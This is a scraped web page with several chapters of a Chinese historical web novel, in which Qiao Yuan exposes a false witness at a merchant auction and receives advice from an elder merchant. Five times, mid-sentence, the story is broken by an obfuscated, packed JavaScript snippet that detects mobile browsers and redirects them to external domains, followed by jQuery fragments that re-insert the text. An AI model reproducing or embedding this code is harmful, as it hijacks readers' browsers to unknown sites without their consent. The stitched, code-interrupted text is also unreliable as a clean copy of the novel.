;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014945|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是……” 低俗又不堪的话语声落入在场每个人的耳朵里，随之而来的还有意味不明的笑声。 乔元定定坐在上首，撑着下巴的手自始至终没动过，就这样淡然看着这些人口吐秽语。 江稷垂首看了一眼她气定神闲的模样，也不多说什么，只是很随意的从袖口掏出一样东西，用了十成的力道朝人群中挥去。 下一瞬，方才还在同身侧伙伴耸肩邪笑的男人，“啊——”的一声，捂着脸颊趴跪在地上不住的哀嚎。 猩红的血液从他的指缝中漏了出来，一滴一滴，坠落到青石铺就的地面之上。而在他身后无人在意的角落，一支小巧的袖箭，已然整截没入梁柱。 环绕他的人群有片刻静止，被恐惧支配的人们像是被施展了定身术，一个个嘴巴张大，却说不出一句完整的话来。 在这样寂静无声的环境里，江稷一边把玩着手里的袖箭，一边冲男人冷道：“你可还有什么要说的？” 104. 买扑（五） 听完这句话，方才还很是激动的赵春来，骤然熄火说不出话来。 他暗自咬舌，恨自己这般不禁一个姑娘家的激。 乔元嗤笑一声，并未把目光方在他身上，她环视场内接着道：“凡事讲究一个证据，你既在公堂之上当众说我伙同贺公子抬价，必要拿出个证据来好叫人信服才是。” 堂上众人虽依旧不相信乔元，但她这句话倒是错不了。 当即就有人点头应和，让赵春来放出证据来。 眼看着自己方才建立的优势，被乔元几句话就毁去大半，赵春来抬手擦了额前的汗，稳住心神道：“乔姑娘，你既这样不肯认下，倒不如说说，你为何在买扑前一日，非要去贺公子处？” 说完这句话，赵春来抬起头颅，看向她的眼神又恢复成方才的倨傲。他这么多年的管事可不是白当的，怎能被一个姑娘的几句话压住。 “哦？那就是没有证据了？”谁料乔元压根不接他的话茬，再度反问道。 …… 赵春来瞪大眼神，没想到她会这样答，登时又支支吾吾有些说不出话来。 眼看着二人说了半晌也没个结果，永丰商会当即有人出声道：“赵管事，你且拿出证据来，有我们在必保你无恙。” 赵春来耳内入了那人之言，也明白自己今日既举证了乔元，二人势必落得个你死我亡的局面。 他咬咬牙道：“乔姑娘，我方才可是看在严老的面子上，才想给你留点脸面。你既这样放肆，休怪我不客气了。” 乔元没想到他这般不要脸，她笑道：“咱们本就不熟，你可别客气。” 赵春来被她这句不轻不重的话，给噎的整张脸涨成猪肝色，一旁的江稷见到这一幕，丝毫不忌讳旁人，直接笑出声来。 被这笑声一激，赵春来是什么都顾不得了。他马上冲着下头围观的人喊道：“阿五，你给我上来。” 右边的人群里有短暂的骚动，没一会儿，一个削瘦的汉子就走到了正堂上。 被两侧的这些显贵注视着，名唤阿五的仆役没走几步，就腿肚子一软直接跪倒在了地上。 “官老爷们吉祥，官老爷们吉祥。”阿五对着坐在堂上的众人磕着头，口中喏喏。 赵春来指着他对众人介绍道：“这位是我马夫阿五，昨日便是他同我一起去的贺公子别院外。” 说完，他冲阿五使了个眼色道：“阿五，你便同大伙儿说说，你昨日在贺公子的别院外，都看到了些什么听到了些什么。” 被所有人看着，阿五的眼神有些许闪烁，他兀自垂着脸很是拘谨道：“昨日……我本来是要载着主家送货的。但是半路上主家不知见到了什么，叫我掉转了车头，跟着一辆车往城外走，后来……就到了一处别院里。” “我跟着主家在别院外头等了快半个时辰，才见里头有人出来。是一位公子和一位年轻的姑娘。” “那公子送了姑娘出来，二人在门口又说了好一会儿的话。” “我那时恰好在一旁的林荫里解手，依稀听得他们二人说什么买扑、抬价的事情。说了好一会儿，那公子才将姑娘送上车。我听着觉得有些不对，便等他们都走了，这才回到车里把他们说的话重复给了主家听。” 阿五的话说的有头有尾，连细节都很是清楚。都不用赵春来给乔元施压，永丰商会的几位掌柜已然开口斥责道：“乔姑娘，事到如今，你还有什么可说的！” 赵春来闻言也是满脸得意，好像在说乔元还如何同他辩驳。他语调上扬几分，“阿五，你且来认一认，你昨日在别院见过的那二人，可是在今日这堂上。” 阿五抬头，视线在乔元和贺令璟的脸上转了几圈，抬手指道：“就是，就是他们两个。” 这样蹩脚的戏，能演到现在，的确是她的责任。 乔元扶额无奈一笑，对着华兴贤道：“华老，可能容我问这仆役几句？” 华兴贤没有制止自己后头的那些掌柜，也没有阻拦乔元的问话，他像是个看戏的过客，点头道：“丫头，你且问罢。” 乔元谢过他，走到阿五面前，“阿五，我有几个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024216|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想问你，你别紧张，按你看到的答便是。” 阿五见状，偷偷抬头瞄了赵春来一眼，见对方点轻点了一下头，他这才道：“姑娘问就是。” 乔元道：“你说你见到我昨日去了贺公子的别院，可见到我们是几个人去的？” 阿五听完她的问题，呆愣的同他主家一个样。他偷瞄了赵春来一眼，得到对方肯定答复之后，才道：“男男女女，约莫有五六个人罢。” 乔元点点头道：“不错，看来你昨日的确在别院外。” 肯定了阿五后，乔元又问道：“对了，那你可见到了我最小的妹妹，就是那个扎红头绳的？” 阿五皱眉想了片刻，似是在认真思考，慢了片刻才道：“自然是见到了的。” 他这话一出，从一开始就没出过声的贺令璟抿了一下唇，嘴边漾起淡淡的笑意。 “是吗？”乔元弯腰看向他，“可惜啊，我阿娘并未给我生一个妹妹，我只有一个弟弟。” 赵春来闻言面色一变，抢在阿五面前开口道：“小孩子家家又矮又小，阿五在树林里头里头看不清也是有的。” “哦？原来是这样。”见他这样着急，乔元并未揪着这个点不放。她接着说道：“昨日，我们一家人去贺公子处，为的是答谢前些时日我家中着火，他冒险来救我乔家的事儿。敢问你，在场除了我乔家人以外，你还有瞧见别人吗？” 阿五的额上起了点点汗珠，他面色有些发白，支支吾吾半晌才道：“没有的，就是你们一家人。” 乔元轻叹了口气，站定在他面前道：“这样，我再给你一次机会罢。我且问你，堂上除了我同贺公子，你可还见到谁也在昨日的别院里。” “没……没有，再有了。”阿五咬定没有旁人。 “是吗？”乔元抬头看向一侧的江稷。 江稷接收到乔元看来的目光，他了然一笑，当即讥讽起赵春来道：“赵管事，看来你这仆役的眼神的可不太好啊。” “昨日，我分明是同乔姑娘一家人，一起去的贺公子别院。” 105. 买扑（六） 华兴贤抬手示意她先坐下，自己却仍旧没有开口。 倒是他身后的掌柜们，面露不忿道：“行首，就算赵管事言辞可疑，但乔姑娘在买扑前日去贺公子处是事实，贺公子今日抬价也是事实。这一桩桩一件件，如何是她说没有就没有的？” 有人起了头，永丰商会的掌柜们个个群情激奋，字字句句都是要让乔元给个说法。 乔元打眼扫过众人，眼里透着洞悉，“听这诸位这话头，纵然有巡检使担保，你们还是不信我了？” 有掌柜出言道：“乔姑娘，方才你也说了，做生意的人最讲究的便是诚实守信。今日出了这样的乱子，我们没当场走人，已经是在看在我们行首同严老交情的面子上了。你若没法给我们一个满意的解释，我们永丰商会绝不会认下这桩买卖。” 这话说的难听，却得来在场众人的一致叫好。 “诸位想怎么办？”乔元负手而立，侧了眼眸问道。 几个掌柜们闻言互相对视几眼，又看了看从方才开始就一言不发的华兴贤。 见华行首似是有意将这件事儿全权交托给他们来处理，几人在后头眉来眼去半晌，心头的念想也愈发胆大起来。“姑娘若是诚心同我们商会做生意，我们只有两点要求。一则，是将那抬高的二百五十万银锭作废，我们只承认文书上的一百万银锭。二则，是将你手中的农药配方，全权交由我们处理。” 狮子大开口也不过如此了。 “诸位这是趁火打劫？”乔元皱起眉头，眼神瞬间变得冰冷，连带着她周身的空气都仿佛被冻结了一般。 “乔姑娘，话别说的这么难听，”后头有个矮个掌柜出言道：“姑娘年纪小怕是不知道，做生意这事儿本就讲究的你情我愿。姑娘若是觉得这要求不合理，你再提就是了。不过……”他黄豆般的眼睛左右瞟了几下，捂嘴笑道：“我们同不同意，那就又是另一回事了。” 零星的笑声从几个掌柜的嘴里溢出，他们昂扬头颅，摆明吃定了乔元不会如何。 “找死。”后头江稷的脸色冷的可怕。今日这场面上，乔元一而再再而三的被人欺辱，他的心火灼烧五脏六腑，已然手痒难耐，忍不住想找几个人出出气。 “莫慌，交由我来处理便是。” 江稷刚准备掏出袖箭，就被乔元一手拦住。少女的手盖在他拿着袖箭的左手上，温热的触感一点点抚平他心头的怒意。乔元回过头，冲他眨眨眼，露出一个清澈的笑容。 方才还怒不可遏的青年，不消片刻就被安抚了下来。 看着乔元同江稷二人在堂上的互动，另一侧的贺令璟没来由的有些烦躁。他轻拧眉眼，将扇背在掌心敲打两下，挺直脊背起身走至乔元身前。 他冲乔元颔首示意后，转而面向华兴贤躬身一礼，轻笑道：“华行首，被人越俎代庖这般久，还不出来说句公道话吗？您老若是再不出声，这买卖，可就由我贺家商行接手了。” 贺令璟挑衅似的话语在堂上响起，倒叫永丰商会的几位掌柜一愣。他们下意识瑟缩了一下，却见坐在上头的华兴贤岿然不动，丝毫不管他们的作为。 立时三刻，又有人出言不屑道：“贺公子，纵然你声名在外，但以你们商行这样实力，怕还不是我们永丰商会的对手。” “贺公子，听你这意思，是又来帮着乔姑娘来给我们商会施压了？你可歇了这份心罢，我们可没那么容易再上一次当了。” “怪不得是严老弟子呢，乔姑娘这人缘倒的确不错。” 嘲讽的、阴阳怪气的、各色话语交至在一起，对着乔元同贺令璟极尽贬低。 “诸位既然这么自信，不知有没有考虑过还有一种可能？”乔元掏掏耳朵，拉了一旁的椅子坐下，她面上明明瞧着在笑着，笑意却不达眼底。 “姑娘难不成还愿意再降一成价格？”本该是严肃的买扑，在他们口中，倒像是街口市场在讨价还价。 乔元单脚支起，轻飘飘的从怀里拿了一张东西出来。“诸位当真是贵人多忘事，你们刚来的第一天，知县大人便说了，这买扑最后的决定权，可不在你们身上，而在……我。” 少女的声音不大，却足够周遭的几人听的清清楚楚。她手中的带着折痕的纸张上，印着一个个鲜红的印章，若是细看，便能发现是各个商行的印章。 是参与买扑的契书！ 若他们没记错的话，契书上明明白白写着一行字，买扑的最终决定权，八成由价格，剩下两成则全权由乔元来定。 很是满意的看到几个掌柜僵住的脸，乔元晃着纸张冲着他们笑，“若是我不同意，你们的价格就算抬的再高，也没法同我，同金台县签下契书。” 该死！怎的忘了这一回事！ 永丰商会的掌柜们，这才有些慌了神。他们参与过的买扑，从来没有过这样新奇的规则。原本他们还记着这一回事，但被赵春来一打岔，又被贺令璟一激，便完全忘了这一回事。 乔元坐在椅子上，很是闲适的晃动着纸张。纸张随着她的手在空中浮动，发出‘簌簌’声响。 景朝对于买扑也有着相当严格的规定，若是有商户中途退出，不仅上交的保证金要被罚没，还得交上一定数额的罚款。除此以外，还会被记录在案，上交到所属州县里，至少三个月不能再参与买扑。 若他们是寻常商行也就罢了，偏生是永丰商会…… 堂上的气氛一点点凝固下来，眼看着好好的买扑局面越闹越僵，最上头的周进只能发泄似的瞪着缩在原地不敢出声的赵春来。 若不是这厮，他此刻已然拿着契书和百万银锭等着升官发财了！ 寂静无声的正堂上，忽然传来一道有些沧桑的声音，一直默不作声的华兴贤终于开口，“行了。”他抬头看向乔元，冲她招招手，“丫头，且来扶老夫一把。” 华兴贤虽说是严维运是旧相识，但方才他连一句约束手下人的话都不说，倒叫乔元心里头有些生气。 气归气，本着尊老爱幼的基本原则，她还是将手伸了过去，借力扶了华兴贤起来。 华兴贤被乔元扶起后，在原地动了动疏通了一下筋骨。这才目露欣赏偏头看向她，“丫头，叫你受委屈了，今日这事，我必给你一个交代。” 乔元还没反应过来，就见他鹰隼一样的眼眸转向江稷，问道：“小子，你今日可带了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032387|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来？” 江稷点点头，“不多，只有四五个。” “够了。”华兴贤抬手喊道：“却福。” 话音刚落下，一个站在永丰商会最末端的中年人，从后头挤了上来，来人身着粗布衣裳，浓眉大眼面容黝黑，他躬身道：“行首。” 华兴贤道：“可都记下了？” “记下了。”中年人道。 瞧出乔元眼底的疑惑，华兴贤缓了声同她解释道：“我虽担着行首的名，但手底下的商会，早在前几年就大有大半都交给我那几个不成器的儿子了。今日跟着来的这几个掌柜，说是我的人，怕是早就被他们买通了。言谈之间没什么主意还喜生事，倒是贻笑大方了。” 华兴贤丝毫不介意的在众人面前揭开自己几个儿子的老底。 说完，他指了指方才说话最多的掌柜，冲江稷道：“这个就劳烦你了，他应该是老三的人，嘴上没个把门迟早要出事，且替我管教管教。” 被点到的矮个掌柜还没反应过来，江稷的拳头就已经落在了他的脸上。 打完这一拳，江稷很是舒爽的晃了晃脑袋，脸上的阴霾明显散了几分。 捂着红肿侧脸的矮个掌柜连躲避的动作都不曾有，直接‘噗通’一声，下跪在地，“行首，行首，我不是三公子的人，我是忠心您的呀——” 话还没说完，他就被江稷叫进来的人给提溜了出去。 华兴贤站在堂中，跟点豆似的，“还有这个，老大看中钱，少不得要挑唆人，且帮我问问他到底收了多少好处。” “这个也是，一直跳着说要给元丫头脸色看，心里头定然是有鬼的。” 三四个掌柜，眨眼间就被巡检司人给清了出去。 处理完自己身边的人，华兴贤直接踱步到赵春来身边，“你呢？还不说实话吗？” 赵春来哪里见过这样雷厉风行的场面，他几乎吓得要尿了出来，只哆嗦着开口道：“行……行首，我说，我说。” 顺着赵春来断断续续的描述，事情的原貌这才出现在众人面前。 昨日一早，赵春来原本是想去送货，结果刚出门就收到了一个小乞丐递来的信件。信上头写着乔元要去拜访贺令璟，同他商量买扑抬价的事。 他知道事关重大，当即便唤了阿五送他去贺令璟的别院。等二人好容易到了别院，却只见院外空空的牛车同马车。 赵春来在外头等了小半个时辰也不见人出来，他有些烦躁的下车去远处松快，没成想就这一会儿功夫，就见阿五来禀报，说人已经走了。 他本以为该是没戏了，谁知到了晚上，又有人送来一封信，详细说了今日买扑的场面会如何，还写了不少如何应对乔元追问的话。 赵春来本是不信的，但今日他早早到堂上围观，却见事态如信中所料一般发展，这才站了出来。 事情的前后因果线很是明了，华兴贤接过赵春来颤抖着递过来的信件，沉吟道：“打蛇打七寸，当真是高招。你只要今日在堂上闹开来，不管元丫头拿出再多的证据来自证，她买扑抬价的事儿是必定过不去了的。如此四两拨千斤的手段，看来咱们景朝，怕是要出个人物了。” 106. 买扑（七） 华兴贤的话一阵见血，不轻不重的落到每个人心头，场上众人顿时神色各异。 他很有兴味的扫过众人一眼，将手中的信件随手递给乔元，“元丫头，你自个儿瞧瞧。” 说完，他往堂上走去寻了周进，“大人，劳烦清个场。” 周进还没从方才的变故回过味来，听见华兴贤这般客气的同他说话，他立马腆着脸拍马溜须道：“这点小事，华行首说就是了，哪里算得上劳烦。” 说完这话，他回头冲着身侧的吴才道：“没听到行首说的吗？还不快些清场。” 吴才闻言哪里敢迟疑，马上就带了属吏去堂上。没一会儿的功夫，方才还闹哄哄的公堂只剩下坐在黄梨木椅子上的那么些人了。 “丫头，你先跟我来。”华兴贤同孙禀定好先暂停买扑，唤了乔元往二堂走去。 乔元有些不明所以，她下意识同江稷对视一眼，见他轻点了下头，这才抬步往跟着往后头走。 二人到了二堂，里头的仆役已经识趣地散了出去。 华兴贤很是随意的找了张椅子坐下，随后招呼乔元道：“丫头，今日这事你怎么看？” 乔元也不拘着礼，坐下了他下首开口问道：“华老的意思是？” 华兴贤笑得爽朗，仿佛自己不过是一个同家中小辈闲聊的老人，“丫头，你不必这样防着我。先头不帮你说话，我自然有自己的考量，现下这里没有旁人，有些话我们也不必藏着掖着。” “华老说的是。”乔元笑盈盈的应了他的话，却没开口。 华兴贤瞧出乔元的意思，直言道：“也罢，那便由我先说。” 他将身子往后靠在椅背上，兀自开口道：“照着今日的情况看，背后那人定是冲你来的了。若是放任下去，最坏的结果便是你的声名尽毁。不仅如此，对方只要抓住机会稍作发酵，怕是严三那厮怕是也要被拖下水去。丫头，你说是也不是？” 乔元在堂上同几位掌柜对峙的时候，便已经想到这些了，她应道：“华老说的没错。对方阻挠买扑不过是障眼法，背后的目标，一直都是我。” 商人有最多的消息网，如果今日这场面她没撑下来，想来要不了几日，整个景朝都知道她乔元是个在买扑上抬价、毫无底线、利欲熏心的小人。 华兴贤见她想的通透，点点头道：“可是惹上了什么仇家？难不成同你家前几日失火有关？” “不曾。”乔元摇头。 赵无忧的事情事关重大，她并未轻易说了。 华兴贤摸着下巴上的须髯，“既如此，那这事儿你打算如何处理？” 乔元略一思索道：“华老可能接手底下的商会，拨出一部分来同我们继续合作？” 华兴贤见状，笑道：“不怕下头的人给你使绊子？” 乔元也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039023|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，“自然是怕的。但事情既到了这地步，与其藏着掖着另选他人，不如大大方方的同你们合作。我们的流程既挑不出错来，对方也没有实质性证据说我从中抬价，只要契书过了明路，再有州里的推官上报，想来闲话也说不到哪里去。” 今日永丰商会若是能同她签下那张她修订几遍的契书，一旦后头出了什么不可预料的情况。她便能以景朝的律法作为依仗，作为同下头那些掌柜们扯皮敲打的筹码。 华兴贤看乔元的目光露出几分赞赏，“好丫头，有魄力。” 他继而忿忿捶腿似是有些不满道：“严三那厮竟如此命好，半只脚踏进棺材了，还能寻到你这样好的徒弟。不像我家那几个蠢出生天的东西，天天知道争权夺位的。便是泼天的富贵，总有一天也得被他们败光了。” “华老过誉。”乔元躬身谦虚道。 华兴贤发泄完心头的牢骚，这才重新看向乔元。他上下打量她半晌，突然开口道：“丫头，你知道我是如何成就今日这番基业的吗？” “还请华老赐教。”乔元侧耳听着。 华兴贤示意她附耳过来，话里带了指点她的意味，“商场入战场，若不会险中求胜，再多的资源也不过浪费。你这法子虽然挑不出错来，但依我来看，还不够大胆。对方的目标既然是你……” 他的话顿了一顿，“我还有个主意，就看你敢不敢做了。” 107. 前序（一） 乔元是被周进一路供着手送出县衙的。 正当六月，暑气渐起。头顶的烈日就像一块鲜红的烙铁，洒下来的光芒便是只落在衣角，都叫让人感受到灼人的热度。 周进两侧的鬓角汗涔涔的，整个人却兴奋的不行，他不住地在乔元耳边念叨道：“乔姑娘，你当心脚下。” “此处风大，姑娘且小心。” 了了几步路，硬生生被他走成了艰难险途。 “知县大人，有话不妨直说。”乔元停下向前的步子，回身问他。 周进抬头看她欲言又止，转而又笑里含羞，整个人都异常违和。扭捏了半晌，他才道：“乔姑娘，今日这遭当真是多亏你了。往后在这金台县，不不，往后不论我官升何位，只要是我能办到的事，姑娘尽管提就是。” 同周进认识这么许久，乔元见过他的各色面孔。有势利眼的，有虚与委蛇的，还有阿谀奉承溜须拍马的。 唯独今日，他的面庞上多了几分难得的诚恳。 乔元的神色和缓下来，她点点头道：“大人客气了。我们既同贺家商行签下了契书，往后怕是有的忙，各中节点还得劳烦大人多上点心才是。” “自然，自然。”周进乐呵呵的应了，向前走了几步，复而叹息道：“今日早早预备了席面，就想同大家好好乐一乐，偏生华行首同贺公子都说有事，你说这事儿闹的。” 乔元接了他的话茬，“出来这么些时日，想来他们几位要处理的事情不少。贺公子说会在咱们这儿停留不少时日，大人难道还怕没有时日相聚？” 听了乔元的话，周进的面色好看了些，“姑娘说的极是。” 等二人出了县衙，江稷已架着马车在外头候着了。 瞧见是周进送了乔元出来，江稷倚在车框上斜睨着他，风凉道：“知县大人当真是爱国爱民，连送乔姑娘这样的事情也要亲自出马。” 若是换了往常，听到江稷这样挖苦，周进早同他斥骂起来了。 谁知今日，周进非但没有同他冷眼相向，反倒迎着笑脸道：“哪里的话，巡检使连日为咱们县的事情日夜操劳，也是辛苦，可得多注意身子才好。” 江稷有些恶寒的瞥了他一眼，当即转头向抬腿上马车的乔元问道：“他吃错药了？” 乔元抿唇一笑，摇头道：“只是太过高兴罢了。” 这一场买扑和三百零三万银锭，便是周进的腾云梯。他在金台县熬了这么些年，终于晋升有望，怎会不高兴。 江稷又看了一眼周进，瞧见他那做作的笑脸。明明晌午烈日当空，江稷只觉得渗人。 他连话都懒得同他说，直接驾车离开。 周进在不远处挥手目送车架走远，脸上的肥肉笑得都堆叠到一处。“乔姑娘、巡检使，二位路慢些，路上可要小心。” 一路疾驰回到家中，江稷这才觉得浑身起的鸡皮疙瘩好了些。他勒住缰绳控制住拉车的马，确认车已停稳，抬手掀开帘子，想扶了乔元下车。 谁料他刚将人接了出来，刚好就撞见了接乔永言下学的乔满山。 瞧见二人的手搭在一处的手，乔满山呆立在原地，耳边轰然响起周素同他说的那些话。 “我瞧着江大人定是欢喜我们元姐儿的。” “你是没听见他对元姐儿说的那些话，哎哟哟。” “还有，你看他那眼神，只要元姐儿在，眼里可还有半分别人？” 周素的话打着转儿地在乔满山脑海里盘旋，他上下打量着马车旁的二人，下意识地吞咽几下口水，这才有些干巴巴的开口道：“江大人，元姐儿你们回来了。” 乔元闻言一抬头，就见爹牵着弟弟的手站在不远处。她借着江稷的力下了马车，冲二人挥手笑道：“爹，永言。” 整个人没半分不自在。 乔永言见到她眼眸一亮，想拉着乔满山一齐往前走去。谁料不管他怎么用力，怎样都拉不动自家爹爹。乔永言很是干脆地松开了乔满山的手，径直向乔元跑来，“二姐姐。” 展臂接住朝她扑过来的乔永言，乔元摸了摸他的小脑袋，“永言这是下学了？走，我们回家用饭去。” 牵着乔永言往里走，乔元抽空回身问向还在原地的乔满山，“爹，咱们青石巷的屋子可还能修缮？” 虽然江稷这宅子又新又大，但乔元还是喜欢青石巷那小小的，透着烟火气的院子。 “啊？屋子……”乔满山慢了半拍才反应过来，“屋里的承梁还没烧毁，修是能修，只怕是要费些时日。” 说着说着，乔满山的声音又低了下去。 女儿同江大人手心相抵的一幕，在他脑海里挥之不去。 耀目的日光下，乔满山布满细纹的眼睛，有些浑浊的望着走在前头的女儿。 这些时日，元姐儿的身量高了不少，谈吐也愈发有大人模样。更别说她通身的气势，远已不是那乡野石湾村出来的姑娘能比的了。 看着女儿一步步走远，乔满山停下往前的脚步，不知不觉垂头盯着自己脚上的黑色布鞋。布鞋的鞋底松软，鞋面平整，整双鞋的针脚都格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062123|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细密。 这样好的鞋子，他前半辈子从来没穿过。 种了半辈子地的人，本以为这辈子都要烂在田间地头了，却不成想家里出了个了不得的人物，一朝攒下了偌大家业住到了县城里。 前后的朋友兄弟，没人不夸他的，说他生了个好女儿。 可谁有知道，他常在夜半辗转忧愁的睡不着觉。 元姐儿既厉害又能干，她的日子只有越过越好的份。但这也意味着，往后同她来往的，势必都是了不得的人物。 他这个毫无本事只知种地的爹，该如何才能护住她不被人欺负了去。就像周素说的，若是元姐儿对江大人有意是好。要是无意……他又该怎样保护她。 看着乔满山面色青一阵白一阵的，站在原地等他的江稷觉出不妥，他斟酌着用词走上前去，“乔伯父，此处日头晒，还是先进去用饭罢。” 听听，都叫上伯父了。 乔满山也不知道是哪里来的勇气，朝江稷道：“我哪里担得起大人一声伯父，我们家在大人处叨扰这么些时日，本来就很是不该。我会尽快修缮家里，尽早搬出去。” 说完，便大步流星的走了进去。 看着乔满山恨恨消失大门后，江稷晃着腰间的鱼符，很是摸不着头脑。 前头的周进也是，现在的乔满山也是。 他这是招谁惹谁了？ 好在江稷向来洒脱，他并未将乔满山的话往心里去，入内同乔家人一齐用完饭，左转右逛的，很是轻易的就找到了在阴凉处躲懒的乔元。 青年坐到院里的石桌上，看向角落里以扇覆面的姑娘。沿墙而绽的紫藤枝蔓上，依稀还挂着零散的花朵。幽微的香气在空气中浮动，江稷很是随意的反手抻着桌面，开口道：“华兴贤给你开了什么条件？” 乔元闻言拿下盖在脸上的团扇，“你怎知是他给我开条件，不是我主动放弃？” 江稷随手摘了紫藤枝条在手里把玩，语气肯定，“我认识的乔元，只要想做成一件事，不论目标多难达成，她也一定会想尽一切办法。就算华兴贤想放弃，你肯定也会想出法子来让他同意。” “你倒是高看我。”乔元从躺椅上直起身子，拿着扇子给自己有一下没一下的扇着风。 少女两颊带着暑热而生的红晕，乌黑的睫羽很是自然的眨动，“就这么想知道他说了什么？” 看着她这般自在的面容，江稷轻笑一声，喉头不自觉的滚动。青年的上半身往她所在的方向倾去，嘴角露出好看的弧度，“洗耳恭听。” 108. 前序（二） 半个时辰前，县衙。 华兴贤说完这样一番话，也不忙着催促乔元下决定。做了这么多年生意，他深知想要成事，点到为止及即为最好。 本以为乔元该费不少时间才能下了决断，没成想一息不到，华兴贤便听得她道：“还请华老明示。” 华兴贤因笑而起的沟壑愈发深了些，“人心难测，从赵春来出现开始，你就注定脱不开抬价这一层流言了。” “对方既然摆出赵春来这一颗棋，你猜猜除了要害你之外，还在图谋什么。”他循循善诱。 乔元沉思片刻，果断道：“是永丰商会。” 华兴贤很是赞赏地颔首，“很显然，那幕后之人并不想你同我们永丰商会合作。如果说这是对方计划内的事情，那你现在要做的，就是顺着他的计划走。” 老人的话不重，但字字句句都像擂鼓一样瞧在乔元心头。 她听明白华兴贤的意思了——若想引蛇出洞，必要以身入局。 现场竞价还剩下贺家商行和远洋商会，但以价格来说，远洋商会远不占优势，那就只剩下贺家商行。 只是，贺家商行…… 看出乔元面上的犹豫，华兴贤叹道：“贺家那小子，看上去丰神俊朗人模人样的，我却是看不惯他。不过在商道上，他的确是个有本事的。” 乔元没出声，安静的坐着听他说。 “他这贺家商行，前几年还不显山不露水的，也不知背靠到了什么大树，一夕之间一夺下三条进贡通路，因而也得了个名号，唤作‘千金手’。那小子是不是千金手我可不知道，但我瞧着，他背后那人定不是寻常官宦。只怕是……同皇室有关。”华兴贤的声音逐渐低沉下来。 恰逢此时，日光被厚重的云层覆盖。室内一时间暗了下来，他眼神里闪烁的幽光，叫人有些不寒而栗。 乔元的手心有片刻攥紧。 她并未说多余的话，只垂首温声顺着华兴贤的话道：“我打小长在金台县，不知道其中有这么些弯弯绕绕，此番多谢华老提点。” 说罢，她起身同华兴贤行了一礼。 见华兴贤受了她的礼，乔元才斟酌着开口问道：“若依华老所言，那永丰商会又当如何？” 如今永丰商行已是买扑的顺位首者，若在此时辞去怕是要蒙受不少损失。 “你无需担心，此事交由我便是了。”华兴贤眯起眼，整个人往后靠在椅背上。“正好，我也想趁这个机会，好好敲打敲打家里那些不安分的。” “既如此，便劳烦华老了。”乔元再度冲他一礼，做足小辈姿态。 华兴贤抚髯‘哈哈’一笑，方才堂内有些压抑的气氛一散而空。“帮你也就是帮严三，不瞒你说，我还欠了他一个人情，正好用这事儿抵了。” 紧接着，二人在堂中又敲定了不少细节，这才得了片刻闲暇。 华兴贤在一旁端着杯盏润喉，忽而定定看着乔元开口道：“元丫头，你很好。你手上握着的这些东西，假以时日，必定利国利民。” 利国利民。 听到这样的词，乔元有片刻恍惚。 从开始为了生计奔波，后得得严维运认可收徒，再到如今开设女学。这其中，有身不由己，也有甘之如饴。 她自认为自己做的这一切不过寻常，却第一次有人用这样宏大的词汇来形容她所做的事情。 乔元眼眸微闪，瓮了声道：“我不过尽己所能罢了。” 华兴贤瞧出她的失态，摇摇头不再接着说这些，他道：“丫头，我今日劝你入局，这其中或许会有诸多坎坷。在终局未定之前，你怕是很难知道幕后之人是谁，但你若是能照着对方的计划走，总有一天，他会露出马脚。” 说完，他从怀里掏出一个玉珏。“这东西给你。往若是遇上什么事儿，就带着这东西去永丰商会寻人助你。” 